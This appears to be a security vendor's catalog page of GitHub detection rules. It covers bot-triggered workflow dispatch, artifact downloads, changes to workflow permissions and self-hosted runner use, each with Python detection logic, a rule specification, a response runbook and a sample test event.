"started_at": "2025-10-15T18:41:58Z",
"status": "completed",
"steps": [
{
"completed_at": "2025-10-15T18:42:00Z",
"conclusion": "success",
"name": "Set up job",
"number": 1,
"started_at": "2025-10-15T18:41:59Z",
"status": "completed"
},
{
"completed_at": "2025-10-15T18:42:02Z",
"conclusion": "success",
"name": "Checkout code",
"number": 2,
"started_at": "2025-10-15T18:42:00Z",
"status": "completed"
},
{
"completed_at": "2025-10-15T18:42:05Z",
"conclusion": "success",
"name": "Run tests",
"number": 3,
"started_at": "2025-10-15T18:42:02Z",
"status": "completed"
}
]
}
}
GitHub Workflow Dispatched by GitHub Actions Bot
#Detects when a GitHub App server-to-server token (GITHUB_TOKEN) triggers a workflow manually through the workflow_dispatch event, creating a new workflow run. This activity may indicate that a possibly previously exfiltrated GITHUB_TOKEN was subsequently used to authenticate to the GitHub REST API to trigger a workflow manually. This technique has been observed as the last step in the attack chain of the Nx/S1ngularity supply chain attack.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action workflows.created_workflow_run: Workflow run created |
Detection logic
from panther_github_helpers import github_alert_context
def rule(event):
return all(
[
event.get("programmatic_access_type") == "GitHub App server-to-server token",
event.get("event") == "workflow_dispatch",
event.get("actor") == "github-actions[bot]",
event.get("action") == "workflows.created_workflow_run",
]
)
def title(event):
repo = event.get("repo", default="<NO_REPO>")
workflow_name = event.get("name", default="<NO_WORKFLOW_NAME>")
user = event.get("actor")
return (
f"Bot [{user}] manually triggered a "
f"workflow dispatch for [{workflow_name}] "
f"in [{repo}]"
)
def alert_context(event):
context = github_alert_context(event)
context["workflow_name"] = event.get("name", "<NO_WORKFLOW_NAME>")
context["workflow_id"] = event.get("workflow_id")
context["workflow_run_id"] = event.get("workflow_run_id")
context["head_branch"] = event.get("head_branch")
context["head_sha"] = event.get("head_sha")
context["programmatic_access_type"] = event.get("programmatic_access_type")
context["token_id"] = event.get("token_id")
context["workflow_run_link"] = (
f"https://github.com/{context.get('repo')}/actions/"
f"runs/{event.get('workflow_run_id', '<NO_RUN_ID>')}"
)
return context
Rule specification
AnalysisType: rule
Filename: github_workflow_dispatch_by_github_bot.py
RuleID: "GitHub.Workflow.DispatchByGitHubBot"
DisplayName: "GitHub Workflow Dispatched by GitHub Actions Bot"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
Status: Experimental
Reports:
MITRE ATT&CK:
- TA0001:T1195
Severity: Info
Description: >
Detects when a GitHub App server-to-server token (GITHUB_TOKEN) triggers a workflow manually through the workflow_dispatch event,
creating a new workflow run. This activity may indicate that a possibly previously exfiltrated GITHUB_TOKEN was subsequently
used to authenticate to the GitHub REST API to trigger a workflow manually.
This technique has been observed as the last step in the attack chain of the Nx/S1ngularity supply chain attack.
Runbook: |
1. Identify the workflow and repository:
- Review the workflow name and repository from the alert details
- Check the workflow_run_link in the alert context to view the workflow run details
2. Review the workflow contents:
- Examine the workflow file (.github/workflows/) for potentially malicious actions
- Check for suspicious steps like secret exfiltration or unauthorized deployments
- Verify the workflow or any scripts used in the workflow itself haven't been recently modified in an unauthorized manner
3. If suspicious or unauthorized:
- Immediately cancel the workflow run if it's still in progress
- Review GitHub audit logs for other activities by this token_id
- Rotate any secrets that may have been exposed to this workflow
- Review all recent workflow modifications and runs
Reference: https://nx.dev/blog/s1ngularity-postmortem
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
programmatic_access_typeisGitHub App server-to-server tokeneventisworkflow_dispatchactorisgithub-actions[bot]actionisworkflows.created_workflow_run
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"workflows.created_workflow_run" |
actor | eq |
| field:"actor" kind:eq value:"github-actions[bot]" |
event | eq |
| field:"event" kind:eq value:"workflow_dispatch" |
programmatic_access_type | eq |
| field:"programmatic_access_type" kind:eq value:"GitHub App server-to-server token" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
name |
Response runbook
1. Identify the workflow and repository:
- Review the workflow name and repository from the alert details
- Check the workflow_run_link in the alert context to view the workflow run details
2. Review the workflow contents:
- Examine the workflow file (.github/workflows/) for potentially malicious actions
- Check for suspicious steps like secret exfiltration or unauthorized deployments
- Verify the workflow or any scripts used in the workflow itself haven't been recently modified in an unauthorized manner
3. If suspicious or unauthorized:
- Immediately cancel the workflow run if it's still in progress
- Review GitHub audit logs for other activities by this token_id
- Rotate any secrets that may have been exposed to this workflow
- Review all recent workflow modifications and runs
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "workflows.created_workflow_run",
"actor": "github-actions[bot]",
"actor_id": "12345678",
"actor_is_agent": false,
"actor_is_bot": true,
"at_sign_timestamp": "2025-10-15 18:45:47.048000000",
"business": "yourcompany",
"business_id": "485638",
"created_at": "2025-10-15 18:45:47.048000000",
"event": "workflow_dispatch",
"head_branch": "bot-branch",
"name": "Your Workflow",
"operation_type": "create",
"org": "YourCompany",
"org_id": 12345678,
"programmatic_access_type": "GitHub App server-to-server token",
"repo": "YourCompany/YourRepo",
"repo_id": 12345678,
"run_number": 1,
"started_at": "2025-10-15 18:45:47.000000000",
"token_id": "1111111111111",
"user_agent": "launch/production",
"workflow_id": "123456789",
"workflow_run_id": "123456789"
}
GitHub Workflow Downloading Artifacts
#Detects when a GitHub Actions workflow downloads artifacts.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Stealth |
Rules detecting the same action
These rules filter on the same operation.
Detection logic
def rule(event):
if event.get("action") != "completed":
return False
steps = event.deep_get("workflow_job", "steps", default=[])
# Look for artifact download in step names
for step in steps:
step_name = step.get("name", "").lower()
if any(
pattern in step_name
for pattern in [
"download artifact",
"download-artifact",
"actions/download-artifact",
"restore artifact",
"get artifact",
"fetch artifact",
"pull artifact",
]
):
return True
return False
def title(event):
workflow_name = event.deep_get("workflow_job", "name", default="Unknown Workflow")
repo_name = event.deep_get("repository", "full_name", default="Unknown Repository")
return f"Artifact download detected in workflow '{workflow_name}' for {repo_name}"
Rule specification
AnalysisType: rule
Filename: github_workflow_artifact_download.py
RuleID: "GitHub.Webhook.WorkflowArtifactDownload"
DisplayName: "GitHub Workflow Downloading Artifacts"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0005:T1027 # Defense Evasion: Obfuscated Files or Information
Tags:
- CI/CD
- Workflow
- Artifacts
CreateAlert: false
Severity: Info
Description: Detects when a GitHub Actions workflow downloads artifacts.
Reference: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/#pwn-request-with-artifact-upload
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
actioniscompletedany element of
workflow_job.stepsmatches:any of:
workflow_job.steps.namecontainsdownload artifactworkflow_job.steps.namecontainsdownload-artifactworkflow_job.steps.namecontainsactions/download-artifactworkflow_job.steps.namecontainsrestore artifactworkflow_job.steps.namecontainsget artifactworkflow_job.steps.namecontainsfetch artifactworkflow_job.steps.namecontainspull artifact
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"completed" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
name | workflow_job.name |
full_name | repository.full_name |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "completed",
"repository": {
"full_name": "example-org/example-repo",
"id": 123456789
},
"workflow_job": {
"conclusion": "success",
"id": 52841003143,
"name": "Deploy",
"run_id": 12345678,
"status": "completed",
"steps": [
{
"conclusion": "success",
"name": "Setup",
"status": "completed"
},
{
"conclusion": "success",
"name": "Download artifact",
"status": "completed"
},
{
"conclusion": "success",
"name": "Deploy",
"status": "completed"
}
]
}
}
GitHub Workflow Permissions Modified
#Detects when the default workflow permissions for the GITHUB_TOKEN are modified at the organization level. GitHub Actions workflows use GITHUB_TOKEN for authentication, and changing these permissions can either expand or restrict what workflows can do by default. Unauthorized modifications could allow attackers to escalate privileges in CI/CD pipelines, potentially leading to supply chain compromise through malicious workflow modifications, unauthorized code deployments, or exfiltration of secrets. This is particularly concerning as it affects all repositories in the organization unless overridden at the repository level.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry coverage
Detection logic
def rule(event):
return (
event.get("action") == "org.set_default_workflow_permissions"
and event.get("operation_type") == "modify"
)
def title(event):
return (
f"Workflow permission settings for GITHUB_TOKENs have been changed"
f" for your organization [{event.get('org')}]"
f" by user [{event.get('actor')}]"
)
Rule specification
AnalysisType: rule
Filename: github_workflow_permission_modified.py
RuleID: "GitHub.Workflow.PermissionsModified"
DisplayName: "GitHub Workflow Permissions Modified"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Initial Access:Supply Chain Compromise
Reports:
MITRE ATT&CK:
- TA0001:T1195
Severity: Medium
Description: >
Detects when the default workflow permissions for the GITHUB_TOKEN are modified at the organization level.
GitHub Actions workflows use GITHUB_TOKEN for authentication, and changing these permissions can either
expand or restrict what workflows can do by default. Unauthorized modifications could allow attackers to
escalate privileges in CI/CD pipelines, potentially leading to supply chain compromise through malicious
workflow modifications, unauthorized code deployments, or exfiltration of secrets. This is particularly
concerning as it affects all repositories in the organization unless overridden at the repository level.
Runbook: |
1. Identify the actor who modified the workflow permissions by reviewing the alert details for the 'actor' and 'actor_id' fields.
2. Verify the legitimacy of the change:
- Contact the user to confirm they made this change intentionally
- Check if there was a recent change request or ticket associated with this modification
- Verify the user's current role and whether they should have organization admin privileges
3. Review the permission change details:
- Navigate to GitHub Organization Settings > Actions > General > Workflow permissions
- Document the current permission level (Read and write permissions vs. Read repository contents and packages permissions)
- Check if "Allow GitHub Actions to create and approve pull requests" is enabled
4. Assess the security impact:
- Determine if permissions were expanded (potentially dangerous) or restricted (potentially disruptive)
- Review recent workflow runs across the organization for any suspicious activity
- Check for any new or modified workflows that may have been added around the time of this change
5. If unauthorized or suspicious:
- Immediately revert the permissions to the previous secure state
- Review GitHub audit logs for other suspicious activities by the same actor
- Check for any workflows that executed between the permission change and reversion
- Rotate any secrets that may have been exposed
- Consider revoking the actor's admin privileges pending investigation
- Review all recent commits and pull requests for signs of compromise
6. Implement preventive measures:
- Enable branch protection rules requiring reviews for workflow file changes
- Implement the principle of least privilege for workflow permissions at the repository level
- Consider using environment protection rules for sensitive deployments
- Enable secret scanning and push protection
- Document approved workflow permission settings in your security policies
Reference: https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
actionisorg.set_default_workflow_permissionsoperation_typeismodify
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"org.set_default_workflow_permissions" |
operation_type | eq |
| field:"operation_type" kind:eq value:"modify" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
org |
actor |
Response runbook
1. Identify the actor who modified the workflow permissions by reviewing the alert details for the 'actor' and 'actor_id' fields.
2. Verify the legitimacy of the change:
- Contact the user to confirm they made this change intentionally
- Check if there was a recent change request or ticket associated with this modification
- Verify the user's current role and whether they should have organization admin privileges
3. Review the permission change details:
- Navigate to GitHub Organization Settings > Actions > General > Workflow permissions
- Document the current permission level (Read and write permissions vs. Read repository contents and packages permissions)
- Check if "Allow GitHub Actions to create and approve pull requests" is enabled
4. Assess the security impact:
- Determine if permissions were expanded (potentially dangerous) or restricted (potentially disruptive)
- Review recent workflow runs across the organization for any suspicious activity
- Check for any new or modified workflows that may have been added around the time of this change
5. If unauthorized or suspicious:
- Immediately revert the permissions to the previous secure state
- Review GitHub audit logs for other suspicious activities by the same actor
- Check for any workflows that executed between the permission change and reversion
- Rotate any secrets that may have been exposed
- Consider revoking the actor's admin privileges pending investigation
- Review all recent commits and pull requests for signs of compromise
6. Implement preventive measures:
- Enable branch protection rules requiring reviews for workflow file changes
- Implement the principle of least privilege for workflow permissions at the repository level
- Consider using environment protection rules for sensitive deployments
- Enable secret scanning and push protection
- Document approved workflow permission settings in your security policies
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"_document_id": "2bY2MKh36kTq5SWjmj5__Q",
"action": "org.set_default_workflow_permissions",
"actor": "homersimpson",
"actor_id": "12345678",
"actor_is_bot": false,
"actor_location": {
"country_code": "US"
},
"at_sign_timestamp": "2025-10-15 18:41:19.605000000",
"business": "yourcompany",
"business_id": "1234",
"created_at": "2025-10-15 18:41:19.605000000",
"operation_type": "modify",
"org": "YourCompany",
"org_id": 123456780,
"p_any_actor_ids": [
"12345678"
],
"p_any_usernames": [
"homersimpson"
],
"p_event_time": "2025-10-15 18:41:19.605000000",
"p_log_type": "GitHub.Audit",
"p_parse_time": "2025-10-15 18:54:06.098589038",
"p_source_label": "AuditLog",
"p_udm": {
"user": {
"name": "homersimpson",
"provider_id": "12345678"
}
}
}
GitHub Workflow Using Self-Hosted Runner
#Detects when a GitHub Actions workflow runs on a self-hosted runner.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution | |
| Lateral Movement |
Rules detecting the same action
These rules filter on the same operation.
- GitHub pull_request_target Workflow Usage (Panther)
- GitHub Workflow Contains Checkout Action (Panther)
- GitHub Workflow Downloading Artifacts (Panther)
Detection logic
def rule(event):
# Only check completed workflow jobs
if event.get("action") != "completed":
return False
# GitHub-hosted runners always have "GitHub Actions" in the runner_name
# Self-hosted runners cannot use this reserved name
runner_name = event.deep_get("workflow_job", "runner_name", default="")
# Must have a runner name and it must not be GitHub-hosted
if not runner_name:
return False
return not runner_name.startswith("GitHub Actions")
def title(event):
workflow_name = event.deep_get("workflow_job", "name", default="Unknown Workflow")
repo_name = event.deep_get("repository", "full_name", default="Unknown Repository")
runner_name = event.deep_get("workflow_job", "runner_name", default="Unknown Runner")
return f"Self-hosted runner '{runner_name}' used in workflow '{workflow_name}' for {repo_name}"
def alert_context(event):
workflow_job = event.get("workflow_job", {})
repository = event.get("repository", {})
return {
"workflow_name": workflow_job.get("name"),
"workflow_job_id": workflow_job.get("id"),
"workflow_run_id": workflow_job.get("run_id"),
"workflow_url": workflow_job.get("html_url"),
"repository": repository.get("full_name"),
"repository_private": repository.get("private"),
"repository_visibility": repository.get("visibility"),
"head_branch": workflow_job.get("head_branch"),
"head_sha": workflow_job.get("head_sha"),
"conclusion": workflow_job.get("conclusion"),
"runner_name": workflow_job.get("runner_name"),
"runner_group_name": workflow_job.get("runner_group_name"),
"runner_id": workflow_job.get("runner_id"),
"runner_group_id": workflow_job.get("runner_group_id"),
"actor": event.deep_get("sender", "login"),
}
def severity(event):
# Public or forkable repos with self-hosted runners have a medium risk
repo_visibility = event.deep_get("repository", "visibility")
allow_forking = event.deep_get("repository", "allow_forking", default=False)
is_private = event.deep_get("repository", "private", default=True)
if repo_visibility == "public" or (not is_private) or allow_forking:
return "MEDIUM"
# Private, non-forkable repos are low risk
return "INFO"
Rule specification
AnalysisType: rule
Filename: github_self_hosted_runner_used.py
RuleID: "GitHub.Webhook.SelfHostedRunnerUsed"
DisplayName: "GitHub Workflow Using Self-Hosted Runner"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
- TA0008:T1021 # Lateral Movement: Remote Services
Tags:
- CI/CD
- Workflow
- Self-Hosted
- Infrastructure
CreateAlert: false
Severity: Info
DedupPeriodMinutes: 60
Description: Detects when a GitHub Actions workflow runs on a self-hosted runner.
Reference: https://docs.github.com/en/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
actioniscompletedworkflow_job.runner_nameis presentworkflow_job.runner_namedoes not start withGitHub Actions
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
workflow_job.runner_name | starts_with | GitHub Actions | excludes:workflow_job.runner_name field:"workflow_job.runner_name" value:"GitHub Actions" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"completed" |
workflow_job.runner_name | is_not_null | field:"workflow_job.runner_name" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
workflow_name | workflow_job.name |
workflow_job_id | workflow_job.id |
workflow_run_id | workflow_job.run_id |
workflow_url | workflow_job.html_url |
repository | repository.full_name |
repository_private | repository.private |
repository_visibility | repository.visibility |
head_branch | workflow_job.head_branch |
head_sha | workflow_job.head_sha |
conclusion | workflow_job.conclusion |
runner_name | workflow_job.runner_name |
runner_group_name | workflow_job.runner_group_name |
runner_id | workflow_job.runner_id |
runner_group_id | workflow_job.runner_group_id |
actor | sender.login |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "completed",
"repository": {
"allow_forking": true,
"full_name": "example-org/example-repo",
"id": 123456789,
"private": false,
"visibility": "public"
},
"sender": {
"login": "developer"
},
"workflow_job": {
"completed_at": "2025-10-15T18:41:54Z",
"conclusion": "success",
"head_branch": "main",
"head_sha": "abc123",
"id": 52841003143,
"name": "Build",
"run_id": 12345678,
"run_url": "https://github.com/example-org/example-repo/actions/runs/12345678/job/52841003143",
"runner_group_id": 1,
"runner_group_name": "Default",
"runner_id": 42,
"runner_name": "my-runner-01",
"started_at": "2025-10-15T18:31:06Z",
"status": "completed",
"steps": [
{
"conclusion": "success",
"name": "Setup",
"status": "completed"
}
]
}
}